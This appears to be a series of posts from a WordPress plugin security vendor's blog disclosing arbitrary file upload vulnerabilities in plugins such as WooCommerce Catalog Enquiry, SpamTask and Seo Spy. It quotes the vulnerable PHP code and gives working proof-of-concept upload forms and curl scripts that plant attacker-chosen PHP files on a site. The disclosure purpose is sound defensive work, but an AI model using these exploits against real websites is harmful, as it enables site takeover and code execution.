14 Jun

Vulnerability Details: File Manager Access Vulnerability in WP File Manager

From time to time a vulnerability is fixed in a plugin without the discoverer putting out a report on the vulnerability and we will put out a post detailing the vulnerability so that we can provide our customers with more complete information on the vulnerability.

When it comes to functionality in plugins that has high potential for abuse, you would hope that developers would be ...


To read the rest of this post you need to have an active account with our service.

For existing customers, please log in to your account to view the rest of the post.

If you are not currently a customer, when you sign up now you can try the service for free for the first month (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a security researcher please contact us to get free access to all of our Vulnerability Details posts.

20 Apr

Arbitrary File Upload Vulnerability in WooCommerce Catalog Enquiry

One of the ways we keep track of vulnerabilities in WordPress plugins so that we can provide our customers with the best data on vulnerabilities in WordPress plugins is by monitoring the Support Forum on wordpress.org for threads related to those. Through that yesterday we came across a thread discussing that the demo website for the plugin WooCommerce Catalog Enquiry contained malware. It suggested that it was possible the issue was related to a vulnerability in the plugin. Looking over the code we quickly found an arbitrary file upload vulnerability in the plugin, which could allow an attacker to upload malicious files to the website. It isn’t clear if the demo website was exploited through this or if the vulnerability has been exploited yet and we haven’t seen evidence through other channels we monitor of any exploitation, but considering the ease we had finding it would be good idea to assume this is already being exploited at this point.

WordPress Forum Moderators Interrupt Responsible Disclosure

We notified the developer of the plugin of the issue yesterday, but have yet to hear back from them. This morning the thread had been updated with a response from the developer that read in part:

Just to inform you, this issue has not generated from our plugin. A third party plugin was causing this.

There wasn’t any explanation as to the source of the malware beyond that and the demo website still contained the malicious code at that time, so we suspect that the developer probably didn’t actual know what the source was.

We responded, letting them know that the malware still being on the demo website and letting them know that we had contacted them about the vulnerability. For some reason a forum moderator removed most of our reply and left this message:

As we have mentioned before, please report plugin security vulnerabilities following the guide at https://developer.wordpress.org/plugins/wordpress-org/plugin-security/reporting-plugin-security-issues/ so that they can be handled properly by the right people, and please do not publicly disclose security vulnerabilities here.

Not only had we not disclosed any vulnerability there (the main point of our message was to try to get the vulnerability fixed before we needed to disclose it), but the guidelines they linked to actually stated at the time:

In the case of serious exploits, please keep in mind responsible and reasonable disclosure. Every attempt to contact the developer directly should be made before you reported the plugin to us (though we understand this can be difficult – check in the source code of the plugin first, many developers list their emails).

Which is what we were in the process of doing. The thread goes on from there with more troubling lack of understanding from forum moderators and the security team (which is far too common an occurrence in our experience).

Deciding when we disclose vulnerabilities is problematic to say the least, because we have an obligation to notify our customers of vulnerabilities in the plugins they use promptly as that is what they are paying us for, but we will also want to limit the additional damage that can be done by vulnerabilities even for those not using our service. The longer we wait the higher the chances one of our customer could be impacted by a vulnerability they should have known about, but waiting could limit damage on a wider scale. We try to balance in our formal disclosure policy and by publicly disclosing vulnerabilities we have discovered so that our customers are not alone in knowing there is an issue (though other WordPress plugin vulnerability data providers don’t seem to do a good job of including those vulnerabilities). For vulnerabilities that are already likely being exploited we also add them to the free data that comes with our services companion plugin, to further limit the damage.

By comparison the WordPress thinks it is appropriate to never warn people about vulnerable plugins that are being exploited until they are fixed, despite the fact that some of those are never fixed, leaving website open to being exploited indefinitely.

The forum moderators also removed the plugin from the Plugin Directory, which will slow down the possibility of fixing the plugin since additional steps have to happen for a fixed version to be released to the public, so we are disclosing the vulnerability now. We had hoped to hold off until there was a fix, if it was quick in coming, but the forum moderators decided to interrupt the process.

Seeing as the vulnerability may already being exploited we are adding it to the free data in our service’s companion plugin, so even those not using the service will get notified if they are using a vulnerable version. Though for those running WooCommerce on their website (as we do), using our service is a good idea as you likely have sensitive data passing through or being stored on your website and this isn’t the only time a plugin for WooCommerce has had a serious vulnerability. We previously found two other arbitrary file upload vulnerabilities in plugins for it and there was another vulnerability found in one last year that would expose order data, which we found that no security plugins would protect against.

Vulnerability Details

The vulnerability involves the function send_product_enqury_mail() located in the file /classes/class-wc-Woocommerce-Catalog-Enquiry-ajax.php. That function is made available through WordPress’ AJAX functionality to those logged in to WordPress and those not logged in:

6
7
add_action('wp_ajax_send_enquiry_mail', array&$this, 'send_product_enqury_mail') );
add_action( 'wp_ajax_nopriv_send_enquiry_mail', array( &$this, 'send_product_enqury_mail' ) );

As of version 3.0.0 the function has the following code that would take a file sent with a request to that function and save it to the filesystem:

59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
if(isset($_FILES['fileupload'])){
	// create catalog enquiry sub directory within uploads
	$upload_dir = wp_upload_dir();
	$catalog_enquiry = $upload_dir['basedir'].'/catalog_enquiry';
	if ( ! file_exists( $catalog_enquiry ) ) {
	    wp_mkdir_p( $catalog_enquiry );
	}
 
	foreach ($_FILES['fileupload'] as $key => $value) {
        $_FILES['fileupload'][$key] = $value[0]; 
    }
    $woo_customer_filesize = 2097152;
    if(isset($settings['filesize_limit']) && !empty($settings['filesize_limit'])){
    	$woo_customer_filesize = intval($settings['filesize_limit'])*1024*1024;
    }
 
    // Check file size
	if ($_FILES['fileupload']['size'] < $woo_customer_filesize) {
		$target_file = $catalog_enquiry.'/'.basename($_FILES['fileupload']['name']);
	    if (move_uploaded_file($_FILES['fileupload']['tmp_name'], $target_file)){
			    	$attachments[] = $target_file; 
	    }
	}
}

That code doesn’t limit what files can be uploaded or in some way restrict access to them. It isn’t clear to us why the files are being saved to the filesystem since the uploading them seems to be so that they can be sent in an email later in the function.

Proof of Concept

The following proof of concept will upload the selected file to the directory /wp-content/uploads/catalog_enquiry/.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="action" value="send_enquiry_mail" />
<input type="file" name="fileupload[0]" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • April 19, 2017 – Developer notified.
  • April 20, 2017 – Plugin removed from WordPress.org Plugin Directory.
  • April 20, 2017 – Vulnerability added to free data in our service’s companion plugin.
  • April 24, 2017 – Plugin returns to Plugin Directory with fixed version.
06 Mar

Vulnerability Details: Authenticated Arbitrary File Upload Vulnerability in Profile Builder

One of the ways that we collect the data to provide our customers with the best information on vulnerabilities in WordPress plugins is by monitoring for mentions that new versions of plugins include security fixes and figuring out if any vulnerabilities have been fixed in the new version. We have found that in many cases that the discover of vulnerabilities do not put out a report on ...


To read the rest of this post you need to have an active account with our service.

For existing customers, please log in to your account to view the rest of the post.

If you are not currently a customer, when you sign up now you can try the service for free for the first month (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a security researcher please contact us to get free access to all of our Vulnerability Details posts.

13 Feb

Vulnerability Details: Arbitrary File Upload Vulnerability in Web Tripwire

One of the things we do to make sure our customers have the best data on vulnerabilities in WordPress plugins is to monitor hacking attempts on our websites. Through that we recently came across a request for a file, /web-tripwire/js/swfobject.js, from the plugin Web Tripwire. That plugin is no longer in the WordPress Plugin Directory, which could have been due to it being removed for a security issue.

Looking at the plugin it has a copy of the library Open Flash Charts, which was discovered to have an arbitrary file upload vulnerability in 2009. In the case of this plugin a new version was never released to fix the issue.

The vulnerability exists at /includes/ofc/ofc_upload_image.php in this plugin. The file takes raw post data and saves it in a file with a name specified by the GET input “name”:

21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
$default_path = '../tmp-upload-images/';
 
if (!file_exists($default_path)) mkdir($default_path, 0777, true);
 
// full path to the saved image including filename //
$destination = $default_path . basename( $_GET[ 'name' ] ); 
 
echo 'Saving your image to: '. $destination;
// print_r( $_POST );
// print_r( $_SERVER );
// echo $HTTP_RAW_POST_DATA;
 
//
// POST data is usually string data, but we are passing a RAW .png
// so PHP is a bit confused and $_POST is empty. But it has saved
// the raw bits into $HTTP_RAW_POST_DATA
//
 
$jfh = fopen($destination, 'w') or die("can't open file");
fwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);

Proof of Concept

The following proof of concept will place the specified PHP code in to the file test.php in the directory /wp-content/plugins/web-tripwire/includes/tmp-upload-images/.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[PHP code]” with the PHP code you want in the uploaded file.

<?php
$curl = curl_init();
$headers = array('Content-Type: text/plain');
$data ="[PHP CODE]";
curl_setopt($curl, CURLOPT_URL, 'http://[path to WordPress]/wp-content/plugins/web-tripwire/includes/ofc/ofc_upload_image.php?name=test.php');
curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_exec($curl);
curl_close($curl);
?>
06 Feb

Vulnerability Details: Arbitrary File Upload Vulnerability in SpamTask

One of the things we do to make sure our customers have the best data on vulnerabilities in WordPress plugins is to monitor third party data on hacking attempts. Through that we recently came across a request for a file, /wp-content/plugins/spamtask/jquery.js, from the plugin SpamTask. That plugin is no longer in the WordPress Plugin Directory, which could have been due to it being removed for a security issue.

Looking at the plugin it has a copy of the library Open Flash Charts, which was discovered to have an arbitrary file upload vulnerability in 2009. In the case of this plugin a new version was never released to fix the issue.

The vulnerability exists at /chart/php-ofc-library/ofc_upload_image.php in this plugin. The file takes raw post data and saves it in a file with a name specified by the GET input “name”:

21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
$default_path = '../tmp-upload-images/';
 
if (!file_exists($default_path)) mkdir($default_path, 0777, true);
 
// full path to the saved image including filename //
$destination = $default_path . basename( $_GET[ 'name' ] ); 
 
echo 'Saving your image to: '. $destination;
// print_r( $_POST );
// print_r( $_SERVER );
// echo $HTTP_RAW_POST_DATA;
 
//
// POST data is usually string data, but we are passing a RAW .png
// so PHP is a bit confused and $_POST is empty. But it has saved
// the raw bits into $HTTP_RAW_POST_DATA
//
 
$jfh = fopen($destination, 'w') or die("can't open file");
fwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);

Proof of Concept

The following proof of concept will place the specified PHP code in to the file test.php in the directory /wp-content/plugins/spamtask/chart/tmp-upload-images/.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[PHP code]” with the PHP code you want in the uploaded file.

<?php
$curl = curl_init();
$headers = array('Content-Type: text/plain');
$data ="[PHP CODE]";
curl_setopt($curl, CURLOPT_URL, 'http://[path to WordPress]/wp-content/plugins/spamtask/chart/php-ofc-library/ofc_upload_image.php?name=test.php');
curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_exec($curl);
curl_close($curl);
?>
06 Feb

Vulnerability Details: Arbitrary File Upload Vulnerability in WP Simple Cart

One of the things we do to make sure our customers have the best data on vulnerabilities in WordPress plugins is to monitor third party data on hacking attempts. Through that we recently came across a request for a file, /wp-content/plugins/wp-simple-cart/js/json2.js, from the plugin WP Simple Cart. That plugin is no longer in the WordPress Plugin Directory, which could have been due to it being removed for a security issue.

Seeing as the type of vulnerability that is probably the most likely to be exploited is an arbitrary file upload vulnerability, we started looking over the plugin for that type of vulnerability and we immediately found one.

When a request to the file /request/simple-cart-upload.php includes a file then that file will be uploaded using the function move_uploaded_file() and will be placed in the directory specified by the variable $uploadfile:

24
25
26
27
28
29
30
31
32
33
34
35
36
37
$user_dir = SimpleCartFunctions::TemporaryDir($_GET['prefix']);
 
if (isset($_GET['file'])) {
    $upload_file = explode('.', $_FILES['userfile']['name']);
    $file_name = $_GET['file'] . '.' . $upload_file[count($upload_file)-1];
}
else {
    $file_name = $_FILES['userfile']['name'];
}
 
//ファイルアップロード
$uploaddir = $user_dir . '/';
$uploadfile = $uploaddir . basename($file_name);
move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile);

Proof of Concept

The following proof of concept will upload the selected file to the directory /wp-content/plugins/wp-simple-cart/files/0/temporary/, if no files have been uploaded through the plugin before.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-content/plugins/wp-simple-cart/request/simple-cart-upload.php" method="POST" enctype="multipart/form-data">
<input type="file" name="userfile" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

 

30 Jan

Vulnerability Details: Arbitrary File Upload Vulnerability in Seo Spy

One of the things we do to make sure our customers have the best data on vulnerabilities in WordPress plugins is to monitor third party data on hacking attempts. Through that we recently came across a request for a file, /wp-content/plugins/seo-spy-google-wordpress-plugin/ofc/js/swfobject.js, from the plugin Seo Spy. That plugin is no longer in the WordPress Plugin Directory, which could have been due to it being removed for a security issue.

Looking at the plugin it has a copy of the library Open Flash Charts, which was discovered to have an arbitrary file upload vulnerability in 2009. In the case of this plugin a new version was never released to fix the issue.

The vulnerability exists at /ofc/php-ofc-library/ofc_upload_image.php in this plugin. The file takes raw post data and saves it in a file with a name specified by the GET input “name”:

21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
$default_path = '../tmp-upload-images/';
 
if (!file_exists($default_path)) mkdir($default_path, 0777, true);
 
// full path to the saved image including filename //
$destination = $default_path . basename( $_GET[ 'name' ] ); 
 
echo 'Saving your image to: '. $destination;
// print_r( $_POST );
// print_r( $_SERVER );
// echo $HTTP_RAW_POST_DATA;
 
//
// POST data is usually string data, but we are passing a RAW .png
// so PHP is a bit confused and $_POST is empty. But it has saved
// the raw bits into $HTTP_RAW_POST_DATA
//
 
$jfh = fopen($destination, 'w') or die("can't open file");
fwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);

Proof of Concept

The following proof of concept will place the specified PHP code in to the file test.php in the directory /wp-content/plugins/seo-spy-google-wordpress-plugin/ofc/tmp-upload-images/.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[PHP code]” with the PHP code you want in the uploaded file.

<?php
$curl = curl_init();
$headers = array('Content-Type: text/plain');
$data ="[PHP CODE]";
curl_setopt($curl, CURLOPT_URL, 'http://[path to WordPress]/wp-content/plugins/seo-spy-google-wordpress-plugin/ofc/php-ofc-library/ofc_upload_image.php?name=test.php');
curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_exec($curl);
curl_close($curl);
?>
30 Jan

Vulnerability Details: Arbitrary File Upload Vulnerability in PHP Analytics

One of the things we do to make sure our customers have the best data on vulnerabilities in WordPress plugins is to monitor third party data on hacking attempts. Through that we recently came across a request for a file, /wp-content/plugins/php-analytics/tinymce/phpanalytics.js, from the plugin PHP Analytics. That plugin is no longer in the WordPress Plugin Directory, which could have been due to it being removed for a security issue.

Looking at the plugin it has a copy of the library Open Flash Charts, which was discovered to have an arbitrary file upload vulnerability in 2009. In the case of this plugin a new version was never released to fix the issue.

The vulnerability exists at /resources/open-flash-chart/php-ofc-library/ofc_upload_image.php in this plugin. The file takes raw post data and saves it in a file with a name specified by the GET input “name”:

21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
$default_path = '../tmp-upload-images/';
 
if (!file_exists($default_path)) mkdir($default_path, 0777, true);
 
// full path to the saved image including filename //
$destination = $default_path . basename( $_GET[ 'name' ] ); 
 
echo 'Saving your image to: '. $destination;
// print_r( $_POST );
// print_r( $_SERVER );
// echo $HTTP_RAW_POST_DATA;
 
//
// POST data is usually string data, but we are passing a RAW .png
// so PHP is a bit confused and $_POST is empty. But it has saved
// the raw bits into $HTTP_RAW_POST_DATA
//
 
$jfh = fopen($destination, 'w') or die("can't open file");
fwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);

Proof of Concept

The following proof of concept will place the specified PHP code in to the file test.php in the directory /wp-content/plugins/php-analytics/resources/open-flash-chart/tmp-upload-images/.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[PHP code]” with the PHP code you want in the uploaded file.

<?php
$curl = curl_init();
$headers = array('Content-Type: text/plain');
$data ="[PHP CODE]";
curl_setopt($curl, CURLOPT_URL, 'http://[path to WordPress]/resources/open-flash-chart/php-ofc-library/ofc_upload_image.php?name=test.php');
curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_exec($curl);
curl_close($curl);
?>
30 Jan

Vulnerability Details: Arbitrary File Upload Vulnerability in social

One of the things we do to make sure our customers have the best data on vulnerabilities in WordPress plugins is to monitor third party data on hacking attempts. Through that we recently came across a request for a file, /wp-content/plugins/social-networking-e-commerce-1/js/effects.js, from the plugin social. That plugin is no longer in the WordPress Plugin Directory, which could have been due to it being removed for a security issue.

Seeing as the type of vulnerability that is probably the most likely to be exploited is an arbitrary file upload vulnerability and seeing as other plugins that were also targeted in the same set of requests as this one have that type of vulnerability, we started looking over the plugin for that type of vulnerability and we immediately found one.

In numerous files there is code that looks like it will take a file sent with a request to it and save it to the filesystem. We tested that out with the file /classes/views/social-options/form_cat_add.php to confirm the issue. That happens in the line that begins move_uploaded_file below, before there is nothing that limits who or what can be uploaded other than need to the provide a POST input “config_path” to indicates where WordPress’ configuration file is (which is usually stored in a standard location):

2
3
4
5
6
7
8
9
10
11
12
13
14
15
session_start();
$config_path = $_POST['config_path'];
require_once( $config_path . 'wp-config.php');
$pathinfo=$_POST['pathinfo'];
$pathinfo1=$pathinfo."/wp-admin/admin.php?page=social-category";
 
if((!empty($_FILES["image"])) &amp;&amp; ($_FILES['image']['error'] == 0))
{
$filename = basename($_FILES['image']['name']);
$path= dirname(__FILE__);
$path1=explode("classes",$path);
$path2=$path1[0].'images/uploads/';
$newname = $path2.$filename;
move_uploaded_file($_FILES["image"]["tmp_name"],$newname);

Proof of Concept

The following proof of concept will upload the selected file to the directory /wp-content/plugins/social-networking-e-commerce-1/images/uploads/.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-content/plugins/social-networking-e-commerce-1/classes/views/social-options/form_cat_add.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="config_path" value="../../../../../../" />
<input type="file" name="image" />
<input type="submit" value="Submit" />
</form>
</body>
</html>
26 Jan

Vulnerability Details: Arbitrary File Upload Vulnerability in ChikunCounter

One of the things we do to make sure our customers have the best data on vulnerabilities in WordPress plugins is to monitor third party data on hacking attempts. Through that we recently came across a request for a file, /wp-content/plugins/chikuncount/swfobject.js, from the plugin ChikunCounter. That plugin is no longer in the WordPress Plugin Directory, which could have been due to it being removed for a security issue.

Looking at the plugin it has a copy of the library Open Flash Charts, which was discovered to have an arbitrary file upload vulnerability in 2009. In the case of this plugin a new version was never released to fix the issue.

The vulnerability exists at /php-ofc-library/ofc_upload_image.php in this plugin. The file takes raw post data and saves it in a file with a name specified by the GET input “name”:

21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
$default_path = '../tmp-upload-images/';
 
if (!file_exists($default_path)) mkdir($default_path, 0777, true);
 
// full path to the saved image including filename //
$destination = $default_path . basename( $_GET[ 'name' ] ); 
 
echo 'Saving your image to: '. $destination;
// print_r( $_POST );
// print_r( $_SERVER );
// echo $HTTP_RAW_POST_DATA;
 
//
// POST data is usually string data, but we are passing a RAW .png
// so PHP is a bit confused and $_POST is empty. But it has saved
// the raw bits into $HTTP_RAW_POST_DATA
//
 
$jfh = fopen($destination, 'w') or die("can't open file");
fwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);

Proof of Concept

The following proof of concept will place the specified PHP code in to the file test.php in the directory /wp-content/plugins/chikuncount/tmp-upload-images/.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[PHP code]” with the PHP code you want in the uploaded file.

<?php
$curl = curl_init();
$headers = array('Content-Type: text/plain');
$data ="[PHP CODE]";
curl_setopt($curl, CURLOPT_URL, 'http://[path to WordPress]/wp-content/plugins/chikuncount/php-ofc-library/ofc_upload_image.php?name=test.php');
curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_exec($curl);
curl_close($curl);
?>